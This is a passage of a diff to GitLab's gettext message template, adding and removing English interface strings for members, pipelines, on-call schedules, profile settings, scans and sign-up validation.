msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16916,6 +17314,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17476,6 +17877,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17677,7 +18078,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17773,6 +18174,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18162,7 +18572,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18421,9 +18834,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18607,9 +19017,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18664,6 +19074,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18676,6 +19089,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18715,6 +19131,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18751,9 +19170,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18769,6 +19194,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18778,6 +19206,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,7 +19428,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18995,9 +19453,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19079,6 +19534,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19349,6 +19807,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19487,9 +19951,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19862,9 +20326,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19910,6 +20371,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19931,6 +20398,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20156,6 +20629,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20330,18 +20803,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20351,9 +20818,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20375,9 +20839,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20432,6 +20893,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20561,6 +21025,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20570,6 +21052,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20600,6 +21085,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20957,9 +21445,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21212,7 +21697,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -21254,6 +21742,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21314,9 +21805,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21338,6 +21826,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21407,6 +21901,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21788,6 +22285,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -22103,6 +22603,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22256,6 +22759,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22341,9 +22847,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22420,6 +22923,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22447,9 +22953,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22654,9 +23157,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22672,15 +23172,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22759,6 +23256,16 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22793,6 +23300,13 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22844,6 +23358,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22874,12 +23391,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22907,6 +23430,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22940,10 +23466,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -23065,12 +23591,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -23197,6 +23729,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -23237,6 +23772,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23259,6 +23797,9 @@ msgstr[3] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23328,6 +23869,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23391,12 +23935,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23424,9 +23962,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23529,12 +24064,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23553,7 +24082,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23610,15 +24139,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23721,6 +24244,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23760,9 +24286,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23864,6 +24387,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -24050,6 +24576,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24216,6 +24745,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24333,9 +24868,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24678,12 +25210,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24726,21 +25252,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24759,6 +25294,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24855,9 +25393,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24912,13 +25447,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24949,6 +25487,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25046,10 +25587,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -25100,6 +25644,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25211,9 +25758,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25259,7 +25803,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25340,10 +25884,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25625,10 +26172,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25652,6 +26199,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25769,9 +26319,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25931,6 +26478,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26099,6 +26658,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26108,6 +26670,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26156,6 +26721,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26330,6 +26898,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26498,9 +27069,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
